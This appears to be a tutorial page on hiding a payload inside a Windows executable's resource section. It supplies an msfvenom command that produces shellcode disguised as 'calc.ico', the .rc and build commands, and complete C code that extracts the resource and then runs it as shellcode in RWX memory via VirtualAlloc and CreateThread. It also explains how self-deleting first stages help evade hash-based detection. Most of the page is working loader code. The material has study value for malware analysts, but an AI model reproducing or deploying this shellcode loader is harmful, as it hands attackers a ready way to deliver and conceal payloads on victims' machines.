Load Resources
Code and executables download: From GitHub
What is a resource
Often, malicious and non-malicious software use other embedded files for different reasons. For example, ransomware might use an embedded image (called “Resource” by Microsoft) as a desktop image to inform the victim that their client has been infected. The same concept can be applied to any file type: ransom notes as txt files, PowerShell scripts, other .exe or .dll files, and so on.
The reasons why a malware author might want to embed a resource in the executable can vary. For example, embedding a resource can avoid unnecessary web calls to download an image, or provide a secondary payload (.exe with a different hash from the primary payload). Consider an executable that is on a system. When the user executes it, the sample deletes itself. This might seem odd; however, the sample might have extracted a secondary payload and moved it somewhere else. Searching for the hash of the first payload will no longer report any findings on the infected machine, since the first payload has removed itself and the second payload might go unnoticed.
Create and embed a resource
Embedding a resource in an executable is straightforward. The following components are needed:
- A
.exeto “take” the embedded file - A file to embed in the
.exe - A
.rcfile to “describe” the resource. An example will be presented shortly; for more details on.rcfiles, see 1
For this demo, a file called calc.ico is used, which is the output of:
msfvenom --payload windows/exec CMD=calc.exe -f raw -o calc.ico`The .rc file is a simple description of the resource file, where the version, the name of the product, and the language are defined:
#include <windows.h>
CALCICO RCDATA "calc.ico"
VS_VERSION_INFO VERSIONINFOFILEVERSION 1,0,0,0PRODUCTVERSION 1,0,0,0BEGIN BLOCK "StringFileInfo" BEGIN BLOCK "040904B0" BEGIN VALUE "FileDescription", "Moise" VALUE "ProductName", "ProductMoise" END END BLOCK "VarFileInfo" BEGIN VALUE "Translation", 0x0409, 1200 ENDENDThese two files and the first payload are then bundled together during compilation. The result is a single .exe, which contains the resource and the logic to extract it.
Before examining the code of the resource extraction logic, it is useful to open the resulting .exe file in pestudio and observe the resource in the “resources” section. From there, the resource can be saved locally by right-clicking on it → instance → dump to file.
Loading the resource
The resource management process is more involved than simply accessing the resource. The following steps are required:
- find the address of the resource and load it (
FindResourceW2 andLoadResource3) - get a pointer to the resource with
LockResource4 - get the size of the resource so that it can be allocated in memory or written to a file with
SizeofResource5
#include <windows.h>
#include <stdio.h>
#define RET_SUCCESS 0#define RET_ERROR -1
int main() { HRSRC hRsrc = NULL; HGLOBAL hRes = NULL; HANDLE hFile = NULL; PVOID pData = NULL; SIZE_T resSize = 0; DWORD bytesWritten = 0;
hRsrc = FindResourceW(NULL, L"CALCICO", MAKEINTRESOURCEW(10)); if (hRsrc == NULL) { printf("Cannot locate resource, error: %lu \n", GetLastError()); return RET_ERROR; }
resSize = SizeofResource(NULL, hRsrc); if (resSize == 0) { printf("Cannot get the size of resource, error: %lu \n", GetLastError()); return RET_ERROR; }
hRes = LoadResource(NULL, hRsrc); if (hRes == NULL) { printf("Cannot load resource, error: %lu \n", GetLastError()); return RET_ERROR; }
pData = LockResource(hRes); hFile = CreateFileW( L"example.bin", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
if (hFile == INVALID_HANDLE_VALUE) { printf("Cannot create file, error %lu\n", GetLastError()); return RET_ERROR; }
BOOL ok = WriteFile(hFile, pData, resSize, &bytesWritten, NULL); if (!ok) { printf("Cannot write file, error %lu\n", GetLastError()); CloseHandle(hFile); return RET_ERROR; }
CloseHandle(hFile); return RET_SUCCESS;}To compile the above code, the commands below are used. In both languages they have the same roles: the first builds a COFF file from the .rc specification 6 and the second bundles together the .exe that will be produced from the compilation and the calc.ico file.
i686-w64-mingw32-windres load_resource.rc -O coff -o load_resource.resi686-w64-mingw32-gcc -o load_resource.exe -Os -s -ffunction-sections -fdata-sections -Wl,--gc-sections -fno-ident load_resource.c load_resource.resNote that since the payload returned by msfvenom is 32-bit, the sample might crash, especially in the second example below, if compiled as a 64-bit application.
The function signatures for each of these calls are all pretty similar and rather straightforward. The first is FindResource:
HRSRC FindResourceA( [in, optional] HMODULE hModule, [in] LPCSTR lpName, [in] LPCSTR lpType);The purpose of this function is to determine the location of a resource with a specific name (lpName) and module (hModule). In the example, the hModule is always set to NULL since, per the documentation: “If this parameter is NULL, the function searches the module used to create the current process.”
The second parameter is the name of the resource, which is populated with the value “CALCICO”. This value is defined in the .rc file:
CALCICO RCDATA "calc.ico"which can be read as: “the resource with name CALCICO contains raw data (RCDATA) from the calc.ico file”. The name “CALCICO” is completely arbitrary. RCDATA is also the value of the lpType, which indicates the type of data contained in the resource. The list of possible values is defined in appendix 7, and in this case, since it is raw data, MAKEINTRESOURCE(10) is used.
Note that MAKEINTRESOURCE is a macro defined in the C winuser.h library, which converts an integer, like 10, to a resource type, and 10 means RT_RCDATA. In the Go code, this macro is not defined, so the RT_RCDATA value is used directly 8.
What is returned by FindResourceA is an HRSRC, which is a handle to a resource.
Next, SizeofResource is used:
DWORD SizeofResource( [in, optional] HMODULE hModule, [in] HRSRC hResInfo);Very simply, the hModule is still NULL for the same reason as above, and the hResInfo handle is the value returned by FindResourceA. The function returns a number.
LoadResource has the same signature as SizeofResource, and it is used to get a second handle, this time to the data themselves. Lastly, to obtain a pointer to the first byte of the resource data, LockResource is used; it takes a single argument, which is the value returned by LoadResource.
LPVOID LockResource( [in] HGLOBAL hResData);Note that LockResource does not actually lock the resource, but only returns the address of the first byte of data.
This address is then used in WriteFile. Since the function requires both an address to the data to write and the size of the data to write, all the needed information is already available to call the function and write the content to a file.
After execution, a new file called example.bin is created in the same directory as the .exe file.
A modified example
The code presented above can be changed to create a new process that executes the payload in the resources instead of writing it to a file.
#include <processthreadsapi.h>#include <windows.h>
#include <stdio.h>#include <winnt.h>
#define RET_SUCCESS 0#define RET_ERROR -1
int main() { HRSRC hRsrc = NULL; HGLOBAL hRes = NULL; HANDLE hFile = NULL; PVOID pData = NULL; SIZE_T resSize = 0; DWORD bytesWritten = 0;
hRsrc = FindResourceW(NULL, L"CALCICO", MAKEINTRESOURCEW(10)); if (hRsrc == NULL) { printf("Cannot locate resource, error: %lu \n", GetLastError()); return RET_ERROR; }
resSize = SizeofResource(NULL, hRsrc); if (resSize == 0) { printf("Cannot get the size of resource, error: %lu \n", GetLastError()); return RET_ERROR; }
hRes = LoadResource(NULL, hRsrc); if (hRes == NULL) { printf("Cannot load resource, error: %lu \n", GetLastError()); return RET_ERROR; }
pData = LockResource(hRes);
PVOID pVirtualAllocAddr = VirtualAlloc(NULL, resSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pVirtualAllocAddr == NULL) { printf("Cannot run virtualAlloc, error : %lu \n", GetLastError()); return RET_ERROR; }
memcpy(pVirtualAllocAddr, pData, resSize); memset(pData, '\0', resSize);
HANDLE hCreateThread = CreateThread(NULL, 0, pVirtualAllocAddr, NULL, 0, NULL);
if (hCreateThread == NULL) { printf("Cannot run CreateThread, error : %lu \n", GetLastError()); return RET_ERROR; } WaitForSingleObject(hCreateThread, INFINITE);
return RET_SUCCESS;}To compile the files, the commands are the same as above.
The code presented here is the same in terms of loading the resource; the only difference is what is done with it. It is not within the scope of this page to explain all the details of the functions used. However, at a high level, memory is allocated in the running process for the resource; the resource is then copied into that memory region and executed in a new thread.
Upon execution, the calculator spawns.